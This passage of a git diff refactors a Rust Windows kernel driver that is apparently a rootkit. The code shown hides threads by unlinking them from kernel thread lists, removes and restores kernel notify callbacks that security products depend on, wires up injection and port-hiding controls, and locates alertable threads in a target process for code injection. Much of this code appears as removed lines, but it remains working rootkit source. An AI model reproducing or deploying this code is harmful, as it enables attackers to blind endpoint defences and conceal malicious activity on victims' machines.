NTSTATUS, PLIST_ENTRY, STATUS_INVALID_PARAMETER, STATUS_SUCCESS, - STATUS_UNSUCCESSFUL, _LIST_ENTRY, PETHREAD, NT_SUCCESS - } -}; - -#[cfg(not(feature = "mapper"))] -pub mod callback; -pub mod ioctls; -#[cfg(not(feature = "mapper"))] -pub use callback::*; - -/// List of target threads protected by a mutex. -pub static THREAD_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID))); - -/// Represents a thread in the operating system. -pub struct Thread { - /// Pointer to the ETHREAD structure, used for managing process information. - pub e_thread: PETHREAD, -} - -impl Thread { - /// Creates a new `Thread` instance by looking up a thread by its TID. - /// - /// # Arguments - /// - /// - `tid`: The process identifier (TID) to look up. - /// - /// # Returns - /// - /// - `Option`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. - /// - #[inline] - pub fn new(tid: usize) -> Option { - let mut thread = core::ptr::null_mut(); - - let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) }; - if NT_SUCCESS(status) { - Some(Self { e_thread: thread }) - } else { - log::error!("PsLookupThreadByThreadId Failed With Status: {status}"); - None - } - } - - /// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure. - /// - /// # Arguments - /// - /// - `process`: A pointer to the `TargetProcess` structure. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn thread_toggle(thread: *mut TargetThread) -> NTSTATUS { - if (*thread).enable { - Self::hide_thread(thread) - } else { - Self::unhide_thread(thread) - } - } - - /// Hides a thread by removing it from the list of active threads. - /// - /// # Arguments - /// - `tid`: The identifier of the target thread (TID) to be hidden. - /// - /// # Returns - /// - `NTSTATUS`: A status code indicating the success or failure of the operation. - /// - unsafe fn hide_thread(target: *mut TargetThread) -> NTSTATUS { - let tid = (*target).tid; - - // Offsets - let rundown_protect = get_rundown_protect(); - let thread_list_entry = rundown_protect - core::mem::size_of::() as isize * 2; - let thread_lock = rundown_protect + core::mem::size_of::() as isize; - - // Retrieving ETHREAD from the target thread - let thread = match Self::new(tid) { - Some(t) => t, - None => return STATUS_UNSUCCESSFUL, - }; - - let list_entry = thread.e_thread.cast::().offset(thread_list_entry) as PLIST_ENTRY; - let push_lock = thread.e_thread.cast::().offset(thread_lock) as *mut u64; - - with_push_lock_exclusive(push_lock, || { - let next = (*list_entry).Flink; // Thread (3) - let previous = (*list_entry).Blink; // Thread (1) - let list = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, - }; - - let mut thread_info = THREAD_INFO_HIDE.lock(); - let list_ptr = Box::into_raw(Box::new(list)); - log::info!("Stored list entry at: {:?}", list_ptr); - - thread_info.push(HiddenThreadInfo { - tid, - list_entry: AtomicPtr::new(list_ptr), - }); - - (*next).Blink = previous; - (*previous).Flink = next; - - (*list_entry).Flink = list_entry; - (*list_entry).Blink = list_entry; - - log::info!("Thread with TID {tid} hidden successfully."); - STATUS_SUCCESS - }) - } - - /// Unhide a process by removing it from the list of active threads. - /// - /// # Arguments - /// - /// - `tid`: The identifier of the target process (TID) to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - unsafe fn unhide_thread(target: *mut TargetThread) -> NTSTATUS { - let tid = (*target).tid; - - // Offsets - let rundown_protect = get_rundown_protect(); - let thread_list_entry = rundown_protect - core::mem::size_of::() as isize * 2; - let thread_lock = rundown_protect + core::mem::size_of::() as isize; - - // Retrieving ETHREAD from the target thread - let thread = match Self::new(tid) { - Some(t) => t, - None => return STATUS_UNSUCCESSFUL, - }; - - let list_entry = thread.e_thread.cast::().offset(thread_list_entry) as PLIST_ENTRY; - let push_lock = thread.e_thread.cast::().offset(thread_lock) as *mut u64; - - with_push_lock_exclusive(push_lock, || { - let mut thread_info = THREAD_INFO_HIDE.lock(); - if let Some(index) = thread_info.iter().position(|p| p.tid == tid) { - let thread = &thread_info[index]; - let list = thread.list_entry.load(Ordering::SeqCst); - if list.is_null() { - log::error!("List entry stored in AtomicPtr is null"); - return STATUS_INVALID_PARAMETER; - } - - (*list_entry).Flink = (*list).Flink as *mut _LIST_ENTRY; - (*list_entry).Blink = (*list).Blink as *mut _LIST_ENTRY; - - let next = (*list_entry).Flink; // Thread (3) - let previous = (*list_entry).Blink; // Thread (1) - - (*next).Blink = list_entry; - (*previous).Flink = list_entry; - - thread_info.remove(index); - - log::info!("Thread with TID {tid} unhidden successfully."); - return STATUS_SUCCESS; - } else { - log::info!("TID ({tid}) Not found"); - return STATUS_UNSUCCESSFUL; - } - }) - } - - /// Enumerates and hides threads by populating the provided `ThreadListInfo` structure with thread IDs. - /// - /// # Arguments - /// - /// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated. - /// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data. - /// - /// # Returns - /// - `NTSTATUS`: A status code indicating the success or failure of the operation. - /// - pub unsafe fn enumerate_hide_threads(info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS { - let thread_info = THREAD_INFO_HIDE.lock(); - let mut count = 0; - for i in thread_info.iter() { - (*info_process.offset(count)).tids = i.tid; - - *information += core::mem::size_of::(); - count += 1; - } - - STATUS_SUCCESS - } - - /// Enumerates threads and performs actions based on the specified options (hide or protection). - /// - /// # Arguments - /// - /// - `input_target`: A pointer to the `EnumerateInfoInput` structure containing the target options. - /// - `info_process`: A pointer to the `ThreadListInfo` structure to be populated. - /// - `information`: A mutable reference to a `usize` value that will be updated with the size of the populated data. - /// - /// # Returns - /// - `NTSTATUS`: A status code indicating the success or failure of the operation. - /// - pub unsafe fn enumerate_thread_toggle(input_target: *mut EnumerateInfoInput, info_process: *mut ThreadListInfo, information: &mut usize) -> NTSTATUS { - match (*input_target).options { - Options::Hide => { - Self::enumerate_hide_threads(info_process, information) - }, - #[cfg(not(feature = "mapper"))] - Options::Protection => { - enumerate_protection_threads(info_process, information) - }, - #[cfg(feature = "mapper")] - Options::Protection => { - status = wdk_sys::STATUS_INVALID_DEVICE_REQUEST; - }, - } - } - -} - -/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope. -impl Drop for Thread { - /// Cleans up the resources held by the `Process` structure. - fn drop(&mut self) { - if !self.e_thread.is_null() { - unsafe { ObfDereferenceObject(self.e_thread as _) }; - } - } -} diff --git a/driver/src/utils/address.rs b/driver/src/utils/address.rs deleted file mode 100644 index 300bda4..0000000 --- a/driver/src/utils/address.rs +++ /dev/null @@ -1,92 +0,0 @@ -use { - super::pool::PoolMemory, - crate::utils::SystemModuleInformation, - ntapi::ntzwapi::ZwQuerySystemInformation, - wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED}, - core::{ - ffi::{c_void, CStr}, - ptr::null_mut, slice::from_raw_parts - }, - winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64} -}; - -/// Gets the base address of a specified module. -/// -/// # Arguments -/// -/// - `module_name`: A string slice containing the name of the module. -/// -/// # Returns -/// -/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found. -/// -pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> { - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); - - let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx")) - .map(|mem| mem.ptr as *mut SystemModuleInformation) - .or_else(|| { - log::error!("PoolMemory (SystemModuleInformation) Failed"); - None - })?; - - RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize); - - let status = ZwQuerySystemInformation( - SystemModuleInformation, - info_module as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes - ); - if !NT_SUCCESS(status) { - log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}"); - return None; - } - - let module_count = (*info_module).modules_count; - - for i in 0..module_count as usize { - let name = (*info_module).modules[i].image_name; - let module_base = (*info_module).modules[i].image_base as *mut c_void; - if let Ok(name_str) = core::str::from_utf8(&name) { - if name_str.contains(module_name) { - return Some(module_base); - } - } - } - - None -} - -/// Gets the address of a specified function within a module. -/// -/// # Arguments -/// -/// - `function_name`: A string slice containing the name of the function. -/// - `dll_base`: A pointer to the base address of the DLL. -/// -/// # Returns -/// -/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found. -/// -pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> { - let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void; - if name == function_name { - return Some(address); - } - } - - None -} diff --git a/driver/src/utils/ioctls.rs b/driver/src/utils/ioctls.rs index 8dbb76d..27b53cf 100644 --- a/driver/src/utils/ioctls.rs +++ b/driver/src/utils/ioctls.rs @@ -1,18 +1,17 @@ use { alloc::boxed::Box, - hashbrown::HashMap, - lazy_static::lazy_static, + hashbrown::HashMap, + shadowx::error::ShadowError, wdk_sys::{IO_STACK_LOCATION, IRP, NTSTATUS}, - crate::{ - callback::ioctls::get_callback_ioctls, - driver::ioctls::get_driver_ioctls, - process::ioctls::get_process_ioctls, - thread::ioctls::get_thread_ioctls, - registry::ioctls::get_registry_ioctls, - injection::ioctls::get_injection_ioctls, - misc::ioctls::get_misc_ioctls, - module::ioctls::get_module_ioctls, - port::ioctls::get_port_ioctls, + crate::modules::{ + register_thread_ioctls, + register_process_ioctls, + register_callback_ioctls, + register_driver_ioctls, + register_injection_ioctls, + register_misc_ioctls, + register_module_ioctls, + register_port_ioctls, }, }; @@ -24,47 +23,55 @@ use { /// /// # Arguments /// -/// - `*mut IRP`: Pointer to an IRP (I/O Request Packet), which represents an I/O request in Windows. -/// - `*mut IO_STACK_LOCATION`: Pointer to the current I/O stack location. -/// +/// * `*mut IRP` - Pointer to an IRP (I/O Request Packet), which represents an I/O request in Windows. +/// * `*mut IO_STACK_LOCATION` - Pointer to the current I/O stack location. /// /// # Returns /// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -pub type IoctlHandler = Box NTSTATUS + Send + Sync>; +/// * `NTSTATUS` - A status code indicating the success or failure of the operation. +pub type IoctlHandler = Box Result + Send + Sync>; -lazy_static! { - /// A static map that holds the mapping of IOCTL codes to their corresponding handlers. - pub static ref IOCTL_MAP: HashMap = load_ioctls(); +pub struct IoctlManager { + handlers: HashMap, } -/// Loads the IOCTL handlers into a `HashMap`. -/// -/// This function collects IOCTL handlers from various modules and inserts them -/// into a `HashMap`, which maps IOCTL codes (`u32`) to their respective handler functions (`IoctlHandler`). -/// -/// # Returns -/// -/// - `HashMap`: A map containing IOCTL handlers for process, thread, driver, -/// callback, injection, miscellaneous, module, and port operations. -/// If the "mapper" feature is disabled, registry-related IOCTLs are also included. -/// -fn load_ioctls() -> HashMap { - let mut ioctls = HashMap::new(); - - get_process_ioctls(&mut ioctls); - get_thread_ioctls(&mut ioctls); - get_driver_ioctls(&mut ioctls); - get_callback_ioctls(&mut ioctls); - get_injection_ioctls(&mut ioctls); - get_misc_ioctls(&mut ioctls); - get_module_ioctls(&mut ioctls); - get_port_ioctls(&mut ioctls); - - #[cfg(not(feature = "mapper"))] { - get_registry_ioctls(&mut ioctls); +impl IoctlManager { + /// Registers a new IOCTL handler. + pub fn register_handler(&mut self, code: u32, handler: IoctlHandler) { + self.handlers.insert(code, handler); } - ioctls + /// Retrieves the IOCTL handler for the given control code. + pub fn get_handler(&self, control_code: u32) -> Option<&IoctlHandler> { + self.handlers.get(&control_code) + } + + /// Loads the IOCTL handlers into a `HashMap`. + /// + /// This function collects IOCTL handlers from various modules and inserts them + /// into a `HashMap`, which maps IOCTL codes (`u32`) to their respective handler functions (`IoctlHandler`). + pub fn load_default_handlers(&mut self) { + register_process_ioctls(self); + register_thread_ioctls(self); + register_driver_ioctls(self); + register_callback_ioctls(self); + register_injection_ioctls(self); + register_misc_ioctls(self); + register_module_ioctls(self); + register_port_ioctls(self); + + #[cfg(not(feature = "mapper"))] + { + crate::modules::register_registry_ioctls(self); + } + } +} + +impl Default for IoctlManager { + /// Creates a new IoctlManager with an empty handler map. + fn default() -> Self { + Self { + handlers: HashMap::new(), + } + } } diff --git a/driver/src/utils/macros.rs b/driver/src/utils/macros.rs deleted file mode 100644 index 5213ebb..0000000 --- a/driver/src/utils/macros.rs +++ /dev/null @@ -1,154 +0,0 @@ -/// A macro to handle I/O operations with input and output buffers. -/// -/// This macro abstracts common patterns in handling IOCTL operations, where input and/or output -/// buffers are required. It fetches the buffers from the provided IRP (I/O Request Packet) and -/// passes them to the specified action. If fetching the buffers fails, it immediately returns -/// the failure status. -/// -#[macro_export] -macro_rules! handle { - ($irp:expr, $stack:expr, $action:expr, $input_type:ty, $output_type:ty, $information:expr) => {{ - let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - $action(input_buffer, output_buffer, $information) - }}; - - ($stack:expr, $action:expr, $type_:ty) => {{ - let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - $action(input_buffer) - }}; - - ($irp:expr, $action:expr, $type_:ty, $information:expr) => {{ - let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - $action(output_buffer, $information) - }}; -} - -/// Macro to handle registry-related operations. -/// -/// This macro abstracts common patterns in handling IOCTL operations, where input and/or output -/// buffers are required. It fetches the buffers from the provided IRP (I/O Request Packet) and -/// passes them to the specified action. If fetching the buffers fails, it immediately returns -/// the failure status. -/// -#[cfg(not(feature = "mapper"))] -#[macro_export] -macro_rules! handle_registry { - ($irp:expr, $action:expr, $type_:ty, $information:expr, $type_registry:ty) => {{ - let output_buffer = match crate::utils::get_output_buffer::<$type_>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - $action(output_buffer, $information) - }}; - - ($stack:expr, $action:expr, $type_:ty, $type_registry:expr) => {{ - let input_buffer = match crate::utils::get_input_buffer::<$type_>($stack) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - $action(input_buffer, $type_registry) - }}; -} - -/// Macro to handle callback-related operations. -/// -/// This macro abstracts common patterns in handling IOCTL operations, where input and/or output -/// buffers are required. It fetches the buffers from the provided IRP (I/O Request Packet) and -/// passes them to the specified action. If fetching the buffers fails, it immediately returns -/// the failure status. -/// -#[macro_export] -macro_rules! handle_callback { - ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{ - use shared::enums::Callbacks; - use crate::callback::{callbacks::{notify_routine::Callback, registry::CallbackRegistry, object::CallbackOb}, CallbackList}; - use wdk_sys::STATUS_UNSUCCESSFUL; - - let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - let output_buffer = match crate::utils::get_output_buffer::<$output_type>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - let status = match $ioctl { - IOCTL_ENUMERATE_CALLBACK => match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), - Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information), - }, - IOCTL_ENUMERATE_REMOVED_CALLBACK => match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), - Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information), - }, - _ => Err(STATUS_UNSUCCESSFUL) - }; - - status - }}; - - ($irp:expr, $type_:ty, $ioctl:expr) => {{ - use shared::enums::Callbacks; - use crate::callback::{callbacks::{notify_routine::Callback, registry::CallbackRegistry, object::CallbackOb}, CallbackList}; - - let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) { - Ok(buffer) => buffer, - Err(status) => return status, - }; - - let mut status = 0; - match $ioctl { - IOCTL_REMOVE_CALLBACK => { - status = match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::remove_callback(input_buffer), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::remove_callback(input_buffer), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::remove_callback(input_buffer), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::remove_callback(input_buffer), - Callbacks::ObProcess => CallbackOb::remove_callback(input_buffer), - Callbacks::ObThread => CallbackOb::remove_callback(input_buffer), - }; - }, - IOCTL_RESTORE_CALLBACK => { - status = match (*input_buffer).callback { - Callbacks::PsSetCreateProcessNotifyRoutine => Callback::restore_callback(input_buffer), - Callbacks::PsSetCreateThreadNotifyRoutine => Callback::restore_callback(input_buffer), - Callbacks::PsSetLoadImageNotifyRoutine => Callback::restore_callback(input_buffer), - Callbacks::CmRegisterCallbackEx => CallbackRegistry::restore_callback(input_buffer), - Callbacks::ObProcess => CallbackOb::restore_callback(input_buffer), - Callbacks::ObThread => CallbackOb::restore_callback(input_buffer), - }; - }, - _ => {} - } - - status - }}; -} diff --git a/driver/src/utils/mod.rs b/driver/src/utils/mod.rs index 59171a8..89baf8d 100644 --- a/driver/src/utils/mod.rs +++ b/driver/src/utils/mod.rs @@ -1,509 +1,50 @@ -use { - ntapi::{ - ntldr::LDR_DATA_TABLE_ENTRY, - ntpebteb::PEB, - ntzwapi::ZwQuerySystemInformation, - ntexapi::{ - SystemModuleInformation, - SystemProcessInformation, - PSYSTEM_PROCESS_INFORMATION - }, - }, - wdk_sys::{ - *, ntddk::*, - _FILE_INFORMATION_CLASS::FileStandardInformation, - }, - winapi::um::winnt::{ - IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS64 - } -}; +use shadowx::error::ShadowError; +use wdk_sys::*; +use core::mem::size_of; -use { - obfstr::obfstr, - handles::Handle, - pool::PoolMemory, - process_attach::ProcessAttach, - alloc::{string::String, vec::Vec}, - core::{ - ffi::{c_void, CStr}, - mem::{size_of, zeroed}, - ptr::{null_mut, read_unaligned}, - slice::from_raw_parts - }, - crate::{ - process::Process, - internals::{ - structs::SystemModuleInformation, - externs::PsGetProcessPeb - }, - }, -}; - -#[cfg(not(test))] -extern crate wdk_panic; - -#[cfg(not(test))] -use wdk_alloc::WDKAllocator; - -#[cfg(not(test))] -#[global_allocator] -static GLOBAL_ALLOCATOR: WDKAllocator = WDKAllocator; - -pub mod macros; -pub mod offsets; pub mod uni; pub mod ioctls; -pub mod patterns; -pub mod address; -pub mod handles; -pub mod pool; -pub mod process_attach; /// Retrieves the input buffer from the given IO stack location. /// /// # Arguments /// -/// - `stack`: A pointer to the `_IO_STACK_LOCATION` structure. +/// * `stack` - A pointer to the `_IO_STACK_LOCATION` structure. /// /// # Returns /// -/// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the input buffer or an NTSTATUS error code. -/// -pub unsafe fn get_input_buffer(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, NTSTATUS> { +/// * `Result<*mut T, NTSTATUS>` - A result containing the pointer to the input buffer or an NTSTATUS error code. +pub unsafe fn get_input_buffer(stack: *mut _IO_STACK_LOCATION) -> Result<*mut T, ShadowError> { let input_buffer = (*stack).Parameters.DeviceIoControl.Type3InputBuffer; + let input_buffer_length = (*stack).Parameters.DeviceIoControl.InputBufferLength; + if input_buffer.is_null() { - log::error!("Type3InputBuffer is null"); - Err(STATUS_INVALID_PARAMETER) - } else { - Ok(input_buffer as *mut T) + return Err(ShadowError::NullPointer("Type3InputBuffer")) + } + + if input_buffer_length < size_of::() as u32 { + return Err(ShadowError::BufferTooSmall); } + + Ok(input_buffer as *mut T) } /// Retrieves the output buffer from the given IRP. /// /// # Arguments /// -/// - `irp`: A pointer to the `IRP` structure. +/// * `irp` - A pointer to the `IRP` structure. /// /// # Returns /// -/// - `Result<*mut T, NTSTATUS>`: A result containing the pointer to the output buffer or an NTSTATUS error code. -/// -pub unsafe fn get_output_buffer(irp: *mut IRP) -> Result<*mut T, NTSTATUS> { +/// * `Result<*mut T, NTSTATUS>` - A result containing the pointer to the output buffer or an NTSTATUS error code. +pub unsafe fn get_output_buffer(irp: *mut IRP) -> Result<*mut T, ShadowError> { let output_buffer = (*irp).UserBuffer; + let output_buffer_length = (*irp).IoStatus.Information as usize; + if output_buffer.is_null() { - log::error!("UserBuffer is null"); - Err(STATUS_INVALID_PARAMETER) - } else { - Ok(output_buffer as *mut T) + return Err(ShadowError::NullPointer("UserBuffer")); } + + Ok(output_buffer as *mut T) } - -/// Retrieves the PID of a process by its name. -/// -/// # Arguments -/// -/// - `process_name`: A string slice containing the name of the process. -/// -/// # Returns -/// -/// - `Option`: An optional containing the PID of the process, or None if the process is not found. -/// -pub unsafe fn get_process_by_name(process_name: &str) -> Option { - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws")) - .map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION) - .or_else(|| { - log::error!("PoolMemory (Process By Name) Failed"); - None - })?; - - let status = ZwQuerySystemInformation( - SystemProcessInformation, - info_process as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes, - ); - if !NT_SUCCESS(status) { - log::error!("ZwQuerySystemInformation Failed With Status: {status}"); - return None; - } - - let mut process_info = info_process; - - loop { - if !(*process_info).ImageName.Buffer.is_null() { - let image_name = from_raw_parts((*process_info).ImageName.Buffer, ((*process_info).ImageName.Length / 2) as usize); - let name = String::from_utf16_lossy(image_name); - if name == process_name { - let pid = (*process_info).UniqueProcessId as usize; - return Some(pid); - } - } - - if (*process_info).NextEntryOffset == 0 { - break; - } - - process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; - } - - None -} - -/// Retrieves the address of a specified function within a module in the context of a target process. -/// -/// # Arguments -/// -/// - `pid`: The process ID (PID) of the target process. -/// - `module_name`: The name of the module (DLL) to be searched for. The search is case-insensitive. -/// - `function_name`: The name of the function within the module to be found. -/// -/// # Returns -/// -/// - `Option<*mut c_void>`: The address of the target function if found. -/// -pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> { - let apc_state: KAPC_STATE = core::mem::zeroed(); - let target = Process::new(pid)?; - - let attach_process = ProcessAttach::new(target.e_process); - let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; - if target_peb.is_null() || (*target_peb).Ldr.is_null() { - return None; - } - - let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut winapi::shared::ntdef::LIST_ENTRY; - let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; - - while next != current { - if next.is_null() { - log::error!("Next LIST_ENTRY is null"); - return None; - } - - let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; - if list_entry.is_null() { - log::error!("LDR_DATA_TABLE_ENTRY is null"); - return None; - } - - let buffer = core::slice::from_raw_parts( - (*list_entry).FullDllName.Buffer, - ((*list_entry).FullDllName.Length / 2) as usize, - ); - if buffer.is_empty() { - log::error!("Buffer for module name is empty"); - return None; - } - - let dll_name = alloc::string::String::from_utf16_lossy(buffer); - if dll_name.to_lowercase().contains(module_name) { - let dll_base = (*list_entry).DllBase as usize; - let dos_header = dll_base as *mut IMAGE_DOS_HEADER; - let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; - - let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _); - let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _); - let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (dll_base + functions[ordinal] as usize) as *mut c_void; - if name_module == function_name { - return Some(address); - } - } - } - - next = (*next).Flink; - } - - None -} - -/// Find for a thread with an alertable status. -/// -/// # Arguments -/// -/// - `target_pid`: PID that will fetch the tids. -/// -/// # Returns -/// -/// - `Option<*mut _KTHREAD>`: The KTHREAD of the thread found, or `None` if an error occurs or the thread is not found. -/// -pub unsafe fn find_thread_alertable(target_pid: usize) -> Option<*mut _KTHREAD> { - let mut return_bytes = 0; - ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); - let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"oied"))?.ptr as PSYSTEM_PROCESS_INFORMATION; - if info_process.is_null() { - log::error!("PoolMemory Failed"); - return None; - } - - let status = ZwQuerySystemInformation( - SystemProcessInformation, - info_process as *mut winapi::ctypes::c_void, - return_bytes, - &mut return_bytes, - ); - if !NT_SUCCESS(status) { - log::error!("ZwQuerySystemInformation Failed With Status: {status}"); - return None; - } - - let mut process_info = info_process; - while (*process_info).NextEntryOffset != 0 { - let pid = (*process_info).UniqueProcessId as usize; - if pid == target_pid { - let threads_slice = from_raw_parts((*process_info).Threads.as_ptr(), (*process_info).NumberOfThreads as usize,); - for &thread in threads_slice { - let thread_id = thread.ClientId.UniqueThread as usize; - let target_thread = if let Some(thread) = crate::thread::Thread::new(thread_id) { thread } else { continue }; - - if PsIsThreadTerminating(target_thread.e_thread) == 1 { - continue; - } - - let is_alertable = read_unaligned(target_thread.e_thread.cast::().offset(0x74) as *const u64) & 0x10; - let is_gui_thread = read_unaligned(target_thread.e_thread.cast::().offset(0x78) as *const u64) & 0x80; - let thread_kernel_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x58) as *const u64); - let thread_context_stack = read_unaligned(target_thread.e_thread.cast::().offset(0x268) as *const u64); - - if is_alertable == 0 && is_gui_thread != 0 && thread_kernel_stack == 0 && thread_context_stack == 0 { - continue; - } - - log::info!("Thread Found: {thread_id}"); - return Some(target_thread.e_thread) - } - } - - if (*process_info).NextEntryOffset == 0 { - break; - } - - process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION; - } - - None -} - -/// Initializes the OBJECT_ATTRIBUTES structure. -/// -/// # Arguments -/// -/// - `object_name`: The name of the object (optional). -/// - `attributes`: The attributes of the object. -/// - `root_directory`: The root directory (optional). -/// - `security_descriptor`: The security descriptor (optional). -/// - `security_quality_of_service`: The security quality of service (optional). -/// -/// # Returns -/// -/// - `OBJECT_ATTRIBUTES`: The initialized OBJECT_ATTRIBUTES structure -/// -#[allow(non_snake_case)] -pub fn InitializeObjectAttributes( - object_name: Option<*mut UNICODE_STRING>, - attributes: u32, - root_directory: Option<*mut c_void>, - security_descriptor: Option<*mut c_void>, - security_quality_of_service: Option<*mut c_void> -) -> OBJECT_ATTRIBUTES { - OBJECT_ATTRIBUTES { - Length: size_of::() as u32, - RootDirectory: root_directory.unwrap_or(null_mut()), - ObjectName: object_name.unwrap_or(null_mut()), - Attributes: attributes, - SecurityDescriptor: security_descriptor.unwrap_or(null_mut()), - SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut()) - } -} - -/// Reads the content of a file given its path. -/// -/// # Arguments -/// -/// - `path`: The path to the file. -/// -/// # Returns -/// -/// - `Result, NTSTATUS>`: The content of the file as a vector of bytes if successful, or an NTSTATUS error code if an error occurs. -/// -pub fn read_file(path: &String) -> Result, NTSTATUS> { - let path_nt = 